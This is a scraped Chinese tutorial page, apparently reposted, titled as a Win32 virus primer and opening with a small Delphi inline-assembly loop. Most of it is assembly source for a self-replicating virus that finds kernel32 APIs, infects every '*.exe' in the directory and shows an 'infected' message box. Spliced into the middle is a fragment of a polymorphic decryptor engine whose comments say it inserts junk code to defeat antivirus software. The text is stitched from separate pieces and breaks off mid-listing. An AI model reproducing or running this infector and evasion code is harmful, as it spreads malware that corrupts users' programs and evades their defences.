Win32病毒入门,Delphi嵌入循环汇编
分类:高并发

Delphi嵌入循环汇编
var
Int:Integer;
begin
asm
xor ebx,ebx   //ebx
xor eax,eax   //eax
@for: add ebx,eax   //设置循环点 ebx+eax
inc eax             //eax+1
cmp eax,$0b         //if eax <> 11
jnz @for            //跳回add
mov Int,ebx;
end;
//这个时候Int 的值是55
end;

9、实现一个最简单的病毒 
----------------------- 
在这一节,我们来看一个最简单的病毒,一个search+infect+payload的direct action病毒 :P 
嗯...有什么好解释的呢?似乎过于简单了,我们还是直接看代码吧: 
format  PE GUI 4.0 
entry   _vStart 
include 'useful.inc' 


; __pkdge32 procedure 
; =================== 


; Description 
; ----------- 

; This  is  the main procedure of the engine.  It controlz the whole generation 
; process,  including SEH setup, instruction  generation,  junk code insertion, 
; etc. 


; Parameterz and Return Value 
; --------------------------- 

; Input: 
;       ecx --- decrypt buffer size (counter in bytez) 
;       edx --- decrypt key 
;       edi --- pointz to the buffer to save decryptor 
;       ebx --- pointz to the buffer where saved the encrypted code 
;       esi --- pointz to the RNG seed buffer 

; Output: 
;       edi --- the end of the decryptor 
;       eax --- pointz  to  the  address of the code which will be decrypted in 
;               the  decryptor,  this means we can place the code which will be 
;               decrypted anywhere by fixing the value pointed by EAX 

__pkdge32:      pushad 
                xor     ebp,ebp 
                xchg    esi,edi                 ; initialize the RNG seed 
                call    __randomize             ; ... 
                xchg    esi,edi                 ; ... 

; First,  we select four random  registerz for later use.  These four registerz 
; are all different 

                xor     ebx,ebx                 ; used to save Rw, Rz, Rx, Ry 
                call    pkdg_sel_reg 
                or      bl,al 
                call    pkdg_sel_reg 
                shl     ebx,4 
                or      bl,al 
                call    pkdg_sel_reg 
                shl     ebx,4 
                or      bl,al 
                call    pkdg_sel_reg 
                shl     ebx,4 
                or      bl,al 

; We setup a SEH frame, then we raise an exception and run the following codez. 
; This action may fuck some of the AVsoftz. 

                push    edi 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     al,0e8h                 ; seh instruction 1 
                stosb                           ; ... 
                stosd                           ; addr 1, no matter what, fix l8r 
                push    edi                     ; save addr1 to fix 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     eax,0824648bh           ; seh instruction 2 
                stosd                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     al,0ebh                 ; seh instruction 3 
                stosb                           ; ... 
                stosb                           ; addr 2, no matter what, fix l8r 
                push    edi                     ; save addr2 to fix 
                mov     eax,[esp+4]             ; fix addr1 
                xchg    edi,eax                 ; ... 
                sub     eax,edi                 ; ... 
                sub     edi,4                   ; ... 
                stosd                           ; ... 
                add     edi,eax                 ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     ah,bl                   ; seh instruction 4 
                and     ah,7                    ; ... 
                or      eax,0c031h              ; ... 
                push    ebx                     ; ... 
                and     ebx,7                   ; ... 
                shl     ebx,11                  ; ... 
                or      eax,ebx                 ; ... 
                pop     ebx                     ; ... 
                stosw                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     eax,0ff64h              ; seh instruction 5 
                stosw                           ; ... 
                mov     al,bl                   ; ... 
                and     eax,7                   ; ... 
                or      al,30h                  ; ... 
                stosb                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     eax,8964h               ; seh instruction 6 
                stosw                           ; ... 
                mov     al,bl                   ; ... 
                and     eax,7                   ; ... 
                or      al,20h                  ; ... 
                stosb                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     ah,bl                   ; seh instruction 7 
                and     eax,700h                ; ... 
                or      eax,08ffh               ; ... 
                stosw                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     al,0ebh                 ; seh instruction 8 
                stosb                           ; ... 
                mov     eax,[esp+8]             ; ... 
                sub     eax,edi                 ; ... 
                dec     eax                     ; ... 
                stosb                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                pop     eax                     ; fix addr2 
                xchg    eax,edi                 ; ... 
                sub     eax,edi                 ; ... 
                dec     edi                     ; ... 
                stosb                           ; ... 
                add     edi,eax                 ; ... 
                mov     ah,bh                   ; seh instruction 9 
                and     eax,700h                ; ... 
                or      eax,0c031h              ; ... 
                push    ebx                     ; ... 
                and     ebx,700h                ; ... 
                shl     ebx,3                   ; ... 
                or      eax,ebx                 ; ... 
                pop     ebx                     ; ... 
                stosw                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     eax,8f64h               ; seh instruction 10 
                stosw                           ; ... 
                mov     al,bh                   ; ... 
                and     eax,7                   ; ... 
                stosb                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                mov     al,bh                   ; seh instruction 11 
                and     al,7                    ; ... 
                or      al,58h                  ; ... 
                stosb                           ; ... 
                xor     eax,eax                 ; some junk code 
                call    __pkdge32_junk          ; ... 
                add     esp,8                   ; balance the stack 

; Now,  generate the first two  instructionz with junk codez between them,  and 
; permute the two instructionz in a random order. 

                mov     ecx,2 
                call    __random_rdtsc 
                or      ecx,ecx 
                jz      pkdg_gen_12 
                call    pkdg_gen_1 
                call    pkdg_gen_2 
                jmp     pkdg_gen_f2f 
pkdg_gen_12:    call    pkdg_gen_2 
                call    pkdg_gen_1 

; The last step, we generate the last four instructionz with junk codez in them 
; these  four  instructionz must in the same order,  but the registerz they use 
; are still random 

pkdg_gen_f2f:   mov     esi,[esp+4]             ; restore ESI 
                push    edi          <

virtual at esi 
    vMZ_esi     IMAGE_DOS_HEADER 
end virtual 
virtual at esi 
    vFH_esi     IMAGE_FILE_HEADER 
end virtual 
virtual at esi 
    vOH_esi     IMAGE_OPTIONAL_HEADER 
end virtual 

.coderwe 
_vStart: 
            call    delta 
delta:      pop     ebp 
            call    _get_krnl 
            or      edi,edi 
            jz      jmp_host 
            xchg    edi,edx 
            lea     esi,[ebp+api_namez-delta] 
            lea     edi,[ebp+api_addrz-delta] 
get_apiz:   call    _get_apiz 
            or      eax,eax 
            jz      apiz_end 
            stosd 
            jmp     get_apiz 
            wfd     WIN32_FIND_DATA 
apiz_end: 
            cmp     ebp,delta                   ; is this the origin virus? 
            jz      infect_filez 
            @pushsz 'user32.dll' 
            call    [ebp+__addr_LoadLibraryA-delta] 
            or      eax,eax 
            jz      jmp_host 
            xchg    eax,edx 
            @pushsz 'MessageBoxA' 
            pop     esi 
            call    _get_apiz 
            xor     esi,esi 
            @call   eax,esi,'This file has been infected... :P','win32.flu',esi 
            call    infect_filez 
            jmp     jmp_host 
infect_filez: 
            lea     eax,[ebp+wfd-delta] 
            push    eax 
            @pushsz '*.exe' 
            call    [ebp+__addr_FindFirstFileA-delta] 
            inc     eax 
            jz      jmp_host 
            dec     eax 
            mov     dword [ebp+hFindFile-delta],eax 
next_file:  lea     esi,[ebp+wfd.WFD_szFileName-delta] 
            call    _infect_file 
            lea     eax,[ebp+wfd-delta] 
            push    eax 
            push    12345678h 
    hFindFile = $-4 
            call    [ebp+__addr_FindNextFileA-delta] 
            or      eax,eax 
            jnz     next_file 
            push    dword [hFindFile] 
            call    [ebp+__addr_FindClose-delta] 
            ret 

; get kernel32.dll image base... 
_get_krnl: 
            @SEH_SetupFrame <jmp seh_handler> 
            mov     esi,[fs:0] 
visit_seh:  lodsd 
            inc     eax 
            jz      in_krnl 
            dec     eax 
            xchg    esi,eax 
            jmp     visit_seh 
in_krnl:    lodsd 
            xchg    eax,edi 
            and     edi,0ffff0000h          ; base address must be aligned by 1000h 
krnl_search: 
            cmp     word [edi],'MZ'         ; 'MZ' signature? 
            jnz     not_pe                  ; it's not a PE, continue searching 
            lea     esi,[edi+3ch]           ; point to e_lfanew 
            lodsd                           ; get e_lfanew 
            test    eax,0fffff000h          ; DOS header+DOS stub mustn't > 4k 
            jnz     not_pe                  ; it's not a PE, continue searching 
            add     eax,edi                 ; point to IMAGE_NT_HEADER 
            cmp     word [eax],'PE'         ; 'PE' signature? 
            jnz     not_pe                  ; it's not a PE, continue searching 
            jmp     krnl_found 
not_pe:     dec     edi 
            xor     di,di                   ; decrease 4k bytes 
            cmp     edi,70000000h           ; the base cannot below 70000000h 
            jnb     krnl_search 
seh_handler: 
            xor     edi,edi                 ; base not found 
krnl_found: 
            @SEH_RemoveFrame 
            ret 

; get apiz using in virus codez... 
_get_apiz: 
            pushad 
            xor     eax,eax 
            cmp     byte [esi],0 
            jz      ret_value 
            or      edx,edx                 ; module image base valid? 
            jz      return 
            mov     ebx,edx                 ; save module image base for 
                                            ; later use 
            push    esi                     ; save API name 
            xchg    esi,edi 
            xor     ecx,ecx 
            xor     al,al 
            dec     ecx 
            repnz   scasb 
            neg     ecx 
            dec     ecx 
            push    ecx                     ; save length of the API name 
            mov     dword [vPushad_ptr.Pushad_esi+08h],edi 
            lea     edi,[edx+3ch] 
            add     edx,dword [edi]         ; edx points to IMAGE_NT_HEADER 
            push    edx                     ; save IMAGE_NT_HEADER 
            mov     edi,dword [edx+78h]     ; edi has the RVA of export table 
            add     edi,ebx                 ; edi points to export table 
            push    edi                     ; save address of export table 
            lea     esi,[edi+18h] 
            lodsd                           ; eax get NumberOfNames 
            push    eax                     ; save NumberOfNames 
            mov     esi,[edi+20h] 
            add     esi,ebx                 ; now points to name RVA table 
            xor     edx,edx 
match_api_name: 
            lodsd 
            add     eax,ebx 
            xchg    eax,edi                 ; get a API name 
            xchg    esi,eax 
            mov     ecx,dword [esp+0ch]     ; length of API name 
            mov     esi,dword [esp+10h]     ; API name buffer 
            repz    cmpsb 
            jz      api_name_found 
            xchg    esi,eax 
            inc     edx 
            cmp     edx,dword [esp] 
            jz      api_not_found 
            jmp     match_api_name 
api_not_found: 
            xor     eax,eax 
            xor     edi,edi 
            jmp     return 
api_name_found: 
            shl     edx,1 
            mov     esi,[esp+04h]           ; export table address 
            mov     eax,[esi+24h] 
            add     eax,ebx                 ; ordinal table 
            movzx   edx,word [eax+edx] 
            shl     edx,2 
            mov     eax,[esi+1ch] 
            add     eax,ebx                 ; function address table 
            mov     eax,[eax+edx] 
            add     eax,ebx                 ; found!!! 
return:     add     esp,14h 
ret_value:  mov     [vPushad_ptr.Pushad_eax],eax 
            popad 
    &n

本文由10bet手机官网发布于高并发,转载请注明出处:Win32病毒入门,Delphi嵌入循环汇编

上一篇:Delphi2010中字符串汇编需要注意的一点,Delphi版的Base64转换函数 下一篇:没有了
猜你喜欢
热门排行
精彩图文